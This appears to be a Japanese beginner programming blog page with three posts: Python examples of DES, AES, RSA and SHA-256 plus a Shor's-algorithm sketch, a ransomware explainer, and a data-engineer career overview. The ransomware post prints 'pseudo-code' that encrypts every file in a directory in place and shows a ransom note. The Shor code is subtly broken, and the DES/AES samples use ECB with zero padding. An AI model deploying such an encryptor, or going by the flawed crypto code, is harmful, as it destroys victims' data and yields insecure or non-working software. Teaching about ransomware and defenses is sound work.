乙Py先生のプログラミング教室

乙Py先生のプログラミング教室
初学者のためのプログラミング学習サイト

今回はランサムウェアの項にも出てきた
暗号化技術に関してです。

解説動画はこちら 



前回のランサムウェアの項でも出てきた
暗号化の技術について
最近の暗号を取り上げてみました。


最近の暗号

・DES(Data Encryption Standard)
古い暗号化アルゴリズムであり、56ビットの鍵を使用
DESは現在では安全性の面で脆弱性が指摘されており
より強力な暗号化アルゴリズムが推奨

・AES(Advanced Encryption Standard)
DESの後継として開発された暗号規格
128ビット、192ビット、または256ビットの鍵を使用
AESは現在、広く採用されている暗号化標準であり
高いセキュリティレベルを提供

・RSA
公開鍵暗号方式の一つであり、暗号化と署名に使用
RSAは公開鍵と秘密鍵のペアを使用し
デジタル署名やセキュアな通信のために広く利用

・SHA-256(Secure Hash Algorithm)
256ビットのハッシュ関数
SHA-256は主にデジタル署名やメッセージ認証などの用途で使用され
データの一意のハッシュ値を生成


実際に暗号のコードを見てみましょう


DES暗号
from Crypto.Cipher import DES
from Crypto.Random import get_random_bytes

# 鍵を生成
key = get_random_bytes(8)

# データを暗号化する関数
def encrypt_data(data, key):
    cipher = DES.new(key, DES.MODE_ECB)
    padded_data = data + b"\0" * (8 - len(data) % 8)
    encrypted_data = cipher.encrypt(padded_data)
    return encrypted_data

# データを復号化する関数
def decrypt_data(encrypted_data, key):
    cipher = DES.new(key, DES.MODE_ECB)
    decrypted_data = cipher.decrypt(encrypted_data)
    return decrypted_data.rstrip(b"\0")

# データ
data = b"otupy"

# 暗号化
encrypted_data = encrypt_data(data, key)
print("暗号化されたデータ:", encrypted_data)

# 復号化
decrypted_data = decrypt_data(encrypted_data, key)
print("復号化されたデータ:", decrypted_data.decode())


AES暗号
from Crypto.Cipher import AES
from Crypto.Random import get_random_bytes

# 鍵を生成
key = get_random_bytes(16)

# データを暗号化する関数
def encrypt_data(data, key):
    cipher = AES.new(key, AES.MODE_ECB)
    padded_data = data + b"\0" * (16 - len(data) % 16)
    encrypted_data = cipher.encrypt(padded_data)
    return encrypted_data

# データを復号化する関数
def decrypt_data(encrypted_data, key):
    cipher = AES.new(key, AES.MODE_ECB)
    decrypted_data = cipher.decrypt(encrypted_data)
    return decrypted_data.rstrip(b"\0")

# データ
data = b"otupy"

# 暗号化
encrypted_data = encrypt_data(data, key)
print("暗号化されたデータ:", encrypted_data)

# 復号化
decrypted_data = decrypt_data(encrypted_data, key)
print("復号化されたデータ:", decrypted_data.decode())

RSA暗号
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import padding
from cryptography.hazmat.primitives import hashes

# 秘密鍵の生成
private_key = rsa.generate_private_key(
    public_exponent=65537,
    key_size=2048
)
# 公開鍵
public_key = private_key.public_key()

# データを暗号化する関数
def encrypt_data(data, public_key):
    encrypted_data = public_key.encrypt(
        data,
        padding.OAEP(
            mgf=padding.MGF1(algorithm=hashes.SHA256()),
            algorithm=hashes.SHA256(),
            label=None
        )
    )
    return encrypted_data

# データを復号化する関数
def decrypt_data(encrypted_data, private_key):
    decrypted_data = private_key.decrypt(
        encrypted_data,
        padding.OAEP(
            mgf=padding.MGF1(algorithm=hashes.SHA256()),
            algorithm=hashes.SHA256(),
            label=None
        )
    )
    return decrypted_data

# データ
data = b"otupy"

# 暗号化
encrypted_data = encrypt_data(data, public_key)
print("暗号化されたデータ:", encrypted_data)

# 復号化
decrypted_data = decrypt_data(encrypted_data, private_key)
print("復号化されたデータ:", decrypted_data.decode())

SHA-256
import hashlib

# データをハッシュ化する関数
def hash_data(data):
    hash_object = hashlib.sha256()
    hash_object.update(data)
    hash_value = hash_object.hexdigest()
    return hash_value

# データ
data = b"otupy"

# ハッシュ値を計算
hashed_value = hash_data(data)
print("計算されたSHA-256ハッシュ値:", hashed_value)




RSA暗号を破るとしたら・・・

ショアのアルゴリズム
量子コンピューターを使用して素因数分解問題を解くためのアルゴリズム
古典コンピューターでは大きな合成数の素因数分解は効率的に解くことが難しい

ショアのアルゴリズムは、1994年にPeter Shorによって提案
素因数分解問題を効率的に解くことができるという特性を持ち
RSA暗号や他の公開鍵暗号方式のセキュリティを脅かす可能性がある


ショアのアルゴリズムの基本的な手順
量子フーリエ変換
 入力として素因数分解したい合成数をエンコードし、量子フーリエ変換を行う
位相推定
 位相推定アルゴリズムを使用して、周期性を持つ関数の周期を見つける
因数分解
 見つかった周期性を利用して、元の合成数の素因数を見つける


ショアのアルゴリズムのコード例

import numpy as np
from qiskit import Aer, QuantumCircuit, transpile, assemble
from qiskit.circuit.library import QFT
from qiskit.visualization import plot_histogram
from math import gcd
from numpy.random import randint

def a_to_the_power_mod(a, power, N):
    result = 1
    for _ in range(power):
        result = (result * a) % N
    return result

def qpe_amod15(a):
    # 位相推定に使用する量子ビットの数
    n_count = 8
    # 量子回路を初期化
    qc = QuantumCircuit(4 + n_count, n_count)
    
    for q in range(n_count):
        qc.h(q)
    qc.x(3 + n_count)
    
    for q in range(n_count):
        # 各位相推定用の量子ビットに対して、逆量子フーリエ変換 QFT を適用
        qc.append(QFT(num_qubits=n_count, inverse=True).to_gate(), range(n_count))
        # a_to_the_power_mod 関数を使用してモジュラエクスポネンシエーションを計算し、その結果を量子回路に追加
        qc.append(a_to_the_power_mod(a, 2**q, 15), [q + n_count, n_count + 1, n_count + 2, n_count + 3])
    # 全ての位相推定用の量子ビットに対して再度逆量子フーリエ変換 QFT を適用
    qc.append(QFT(num_qubits=n_count, inverse=True).to_gate(), range(n_count))
    qc.measure(range(n_count), range(n_count))

    # Aer シミュレーターを使用して量子回路をシミュレーションし、結果を取得
    aer_sim = Aer.get_backend('qasm_simulator')
    t_qc = transpile(qc, aer_sim)
    qobj = assemble(t_qc)
    result = aer_sim.run(qobj).result()
    # 測定結果のカウントを返す
    counts = result.get_counts()
    return counts

N = 15
a = 7
counts = qpe_amod15(a)
plot_histogram(counts)


RSA暗号への影響

RSA暗号は素因数分解の困難さに基づいて安全性が保証されている
しかし、ショアのアルゴリズムを用いる量子コンピューターが実用化されると
現在のRSA暗号の鍵長が十分に安全でなくなる可能性がある

量子コンピューターを用いたショアのアルゴリズムによって
RSA暗号の破綻が懸念されてる

ショアのアルゴリズムは量子コンピューターの登場による
セキュリティ上の脅威として注目されており
RSA暗号を含む多くの暗号方式の安全性に影響を与える可能性がある


もしRSA暗号が破られた場合は

通信の機密性の喪失
デジタル署名の信頼性の喪失
金融取引やオンラインショッピングの脆弱性
国家機密や軍事情報の漏洩
RSA暗号を用いたランサムウェアの取引が成立しなくなる


今後の暗号技術はどうなるか

ポスト量子暗号 (Post-Quantum Cryptography):
量子コンピューターの発展に伴い、RSAやECCなどの
従来の暗号方式が量子コンピューターによって破られる可能性が出てきている

ポスト量子暗号は、量子コンピューターが存在しても
安全性が確保されるように設計されている

例として、NTRU暗号や格子(Lattice)ベース暗号方式が挙げられる


終わりに

量子コンピューターがいつ実用化されるのか
RSA暗号がいつ破られるのか
新しい暗号技術がどうなるのか

今後もセキュリティー上の観点から
暗号関連は見逃せない展開になっていくと思われます

それでは


今回は最近話題の
ランサムウェアについてです。 

解説動画はこちら



今回は最近セキュリティ関連で話題になっている
ランサムウェアについてです

ランサムウェアとは

マルウェア(悪意のあるソフトウェア)の一種で
感染したコンピュータシステムやデータを暗号化し
ユーザーに対して身代金(ランサム)を要求する
攻撃手法を用いるソフトウェアのこと

主な種類

 画面ロック型
 暗号化型(Encryption Ransomware)
 リーク型

感染経路

 メールの添付ファイル
 悪意のあるWEBサイト
 ソフトウェアの脆弱性



暗号化プロセス

 1.ファイルのスキャン
  一度感染すると、ランサムウェアはシステム内のファイルをスキャンし
  特定の拡張子を持つファイルを探す。
  文書、画像、音楽、データベースファイルなどが対象
 2.暗号化アルゴリズム
  強力な暗号化アルゴリズム(AES、RSAなど)を使用してファイルを暗号化
  これにより、正しい復号化キーがないとファイルを元に戻すことができない
 3.復号化キーの保存
  復号化に必要な鍵は攻撃者のサーバーに保存される

身代金要求

 1.要求メッセージ
 2.支払い方法
  仮想通貨(ビットコイン、モネロなど)
  指定されたアドレスに仮想通貨を送金するよう指示


主な開発言語

 C系(C, C++, C#)
 Python
 Go


ランサムウェアそのもののコードを載せることは出来ませんが
こんな感じのコードが動いていると思われます。

# 疑似コード
import os, random, string
from cryptography.fernet import Fernet

# 復号化キーの生成
def generate_key():
    return Fernet.generate_key()

# ファイルの暗号化
def encrypt_file(file_path, key):
    with open(file_path, 'rb') as file:
        data = file.read()
    fernet = Fernet(key)
    encrypted = fernet.encrypt(data)
    with open(file_path, 'wb') as file:
        file.write(encrypted)

# 特定のディレクトリ内のすべてのファイルを暗号化
def encrypt_files_in_directory(directory, key):
    for root, dirs, files in os.walk(directory):
        for file in files:
            file_path = os.path.join(root, file)
            encrypt_file(file_path, key)

# 身代金要求メッセージの表示
def display_ransom_note():
    ransom_message = """
 YouのPCのファイルを人質に取ったぜ
 暗号化を解いて欲しかったら連絡してね
    Contact us : メアド
    """
    print(ransom_message)

# 復号化キーのサーバー保存(擬似コード)
def save_key_for_later_retrieval(key):
    pass

# メイン関数
def main():
    target_directory = '/path/to/target/directory'
    key = generate_key()
    encrypt_files_in_directory(target_directory, key)
    display_ransom_note()
    save_key_for_later_retrieval(key)



主な対策方法

 1.定期的なデータのバックアップ
  重要なものはオフラインで行う
 2.セキュリティソフトの導入
 3.ソフトウェアの更新
 4.フィッシング対策
 5.社員教育

まとめ

日頃の対策への徹底と
社員教育が非常に大事だなと感じています。

特に日本は社員のリテラシーも低く
サイバーテロに狙われやすい国です。

被害に遭わないためにも
社員教育を再度徹底して行い
考えを改める時期に来ていると思いました。

被害に遭われる方が
少なくなりますように。

それでは。

今回は意外と穴場な職業である
データエンジニアについてお伝えします。

解説動画はこちら


 
データエンジニアについて

現在自分はデータエンジニア
という括りに近いお仕事しています。

平たくいうと
「企業のデータを整備するお仕事」ですが
なかなか成り手がいないのか
穴場な職業だと感じました。

最近はDX、AIブームにつき
データエンジニアの需要も高まりつつあります。


業界


業界としてはこのような業界の案件が
多くなってきている印象です。

リテール(EC、小売)
広告
ゲーム
AI関連
物流
製造業


用語説明

データ業界でよく使われる単語を
ピックアップしました。

・データレイク
データを一元管理できる保管庫のことです。
AWS S3やGCPのGCSなんかが
これに当てはまります。


・データベース
データを保管し、抽出を簡単にできるようにした
ソフトウェアのことです。

RDB、MySQLなんかがこれに当たります。


・データウェアハウス
データを統合的に管理し、より使いやすくした
システムのことです。

最近だとSnowflakeなんかがこれに当たるサービスです。





仕事内容

データエンジニアのお仕事は
だいたいこんな感じの内容を行なっています。

・データ基盤整備
 DB、DWH設計と構築
 ETLツール設計と構築
 データ処理パイプラインの設計と構築
 データ分析基盤のアーキテクチャ設計と運用
 バッチ処理設計、運用

・データ移行支援
 大規模データ収集ツールの構築
 データクレンジング、データ検証
 業務効率化ツールの作成




どうすればなれるか


もしデータエンジニアを目指す場合は
こんな感じの経験、スキルが必要です。

・必須経験
 RDB設計、運用経験
 バッチ処理設計、運用経験
 ETLツール等の設計、開発経験
 AWSやGCP等のクラウド開発経験
 プログラム実装経験

・歓迎経験
 Apache Hadoop Sparkなどの
 分散データ処理の開発経験
 コンテナ関連技術を用いたシステム開発経験



いくら稼げるの?

毎月が中企業のボーナス
くらいは稼げると思います。



こんな感じのお仕事が
データエンジニアになります。

これからなりたい人
ステップアップしたい人は
参考にしていただけたらなーと思います。

それでは。

このページのトップヘ